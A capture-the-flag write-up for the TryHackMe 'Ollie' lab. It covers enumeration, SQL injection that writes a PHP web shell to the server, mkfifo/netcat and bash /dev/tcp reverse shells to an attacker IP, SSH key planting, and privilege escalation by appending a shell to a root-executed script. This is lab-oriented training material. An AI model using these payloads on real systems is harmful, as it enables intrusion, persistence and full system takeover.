Page cover

Ollie (SQLI, Permission)

First, we need to enumerate using nmap.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  nmap -A 10.10.20.38 | tee nmap.log
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-16 14:50 +0630
Nmap scan report for 10.10.20.38
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /immaolllieeboyyy
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Ollie :: login
|_Requested resource was http://10.10.20.38/index.php?page=login
|_https-redirect: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.78 seconds

Rustscan result show me all open ports.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  rustscan -a 10.10.20.38 | tee rust.log

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
1337/tcp open  waste   syn-ack

When i answer random question on port 1337, i got some credentials.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  nc 10.10.20.38 1337
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? mrhnl
What's up, Mrhnl! It's been a while. What are you here for? getsystem
Ya' know what? Mrhnl. If you can answer a question about me, I might have something for you.


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? duck
You are wrong! I'm sorry, but this is serious business. Let's try again...


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? wolf
You are wrong! I'm sorry, but this is serious business. Let's try again...


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!

When I login using this creds on http://10.10.20.38, I successfully login.

After this, we will see the admin dashboard.

Here is the article for poc https://fluidattacks.com/advisories/mercury/. You can read ubuntu version through SQLI.

Check if user have read or write access. You will see all is Y.

" union all select 1,2,3,group_concat(user,0x3a,file_priv) from mysql.user -- -

Write evil php on the system. We got error, it is still ok.

" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/rev.php' -- -

We can check our RCE is success or not?

╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  curl http://10.10.20.38/rev.php\?cmd\=whoami
1	 www-data
 	3	4

Get a shell from victim using mkfifo.

curl http://10.10.20.38/rev.php\?cmd\=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.9.0.180%209001%20%3E%2Ftmp%2Ff

In netcat session, we got reverse shell.

We found user.txt on /home/ollie. The only one we got is permission error.

$ cat user.txt
cat: user.txt: Permission denied

We can move to ollie user, with the password that we seen in previous task.

$ su ollie
Password: OllieUnixMontgomery!

whoami
ollie

Which stable shell, we generate ssh key and write on victim.

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHmsE/qACwaksUEoBvDE4wFu0/N5eZeNQEX9upOp8Bh4KTZsUcMqo7OSdztZbvkSwwp0S6C3mk9WLioJbQ2dDFC64ZyT/LUAgNZgZkSRZtufQa9lhUgqNYhg/0oT1juH5rGTJhoGa8MROpRhp/LiKXw8g4wOQggrG+xqrnCG84PCcb0bq73XW7XMYN9koLXokwl3GSlX/AkSn3VWgBcnj73IX2eI2yvYSAzckYyWeu9fR6EX/j8Rfj3Z7Tsy0W4iuhHwSGPJHX8yDms9Sx07nQmMGGKW+RmQ6p1dqDt9g/R1L2aXDJLJnZOGzR4ZqdxFpyl3R/R026HXKyeSCSAvaE34GIzBowe6g9K4h/Ewe3zwIBlLW8TGq7L7EBPR2j6d2yYSbniH3GMio88N+vmF4E919gMMlgMqi4fJOhoy/l++4vuBqKAEpGEcywblNLw4YSe59dSBurrFeTNrC3O6CNyO8GyDtQ3wxNOGI7nMe7yOesabNTdz9qDRXdbpyXDwE= hnl@hnl" > /home/ollie/.ssh/authorized_keys

Let's login ssh using private key.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  ssh -i /home/hnl/.ssh/id_rsa ollie@10.10.20.38
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 16 Apr 2022 09:45:56 AM UTC

  System load:  0.45              Processes:                141
  Usage of /:   64.4% of 9.78GB   Users logged in:          0
  Memory usage: 45%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.20.38


6 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Feb 12 15:57:44 2022
ollie@hackerdog:~$ 

Nothing is interesting. So, we will check using pspy64, linpeas.

wget http://10.9.0.180:1234/linpeas

We can see suspicious process like feedme.

2022/04/16 10:00:00 CMD: UID=0    PID=73809  | /lib/systemd/systemd-udevd 
2022/04/16 10:00:00 CMD: UID=0    PID=73808  | /lib/systemd/systemd-udevd 
2022/04/16 10:00:39 CMD: UID=0    PID=73812  | ps -e -o pid,ppid,state,command 
2022/04/16 10:01:01 CMD: UID=0    PID=73814  | /lib/systemd/systemd-udevd 
2022/04/16 10:01:01 CMD: UID=0    PID=73813  | (feedme) 
2022/04/16 10:01:01 CMD: UID=0    PID=73824  | /lib/systemd/systemd-udevd 
2022/04/16 10:01:01 CMD: UID=0    PID=73823  | /lib/systemd/systemd-udevd

Find this file.

ollie@hackerdog:/tmp$ find / -type f -name feedme 2>/dev/null
/usr/bin/feedme
ollie@hackerdog:/tmp$ cat /usr/bin/feedme
#!/bin/bash

# This is weird?

Who own this file?

ollie@hackerdog:/tmp$ ls -lisha /usr/bin/feedme
10256 4.0K -rwxrw-r-- 1 root ollie 30 Feb 12 02:31 /usr/bin/feedme

Inject it.

ollie@hackerdog:/tmp$ echo "bash -i >& /dev/tcp/10.9.0.180/9002 0>&1" >> /usr/bin/feedme
ollie@hackerdog:/tmp$ cat /usr/bin/feedme 
#!/bin/bash

# This is weird?
bash -i >& /dev/tcp/10.9.0.180/9002 0>&1

In netcat session, we got reverse shell.

Last updated

Was this helpful?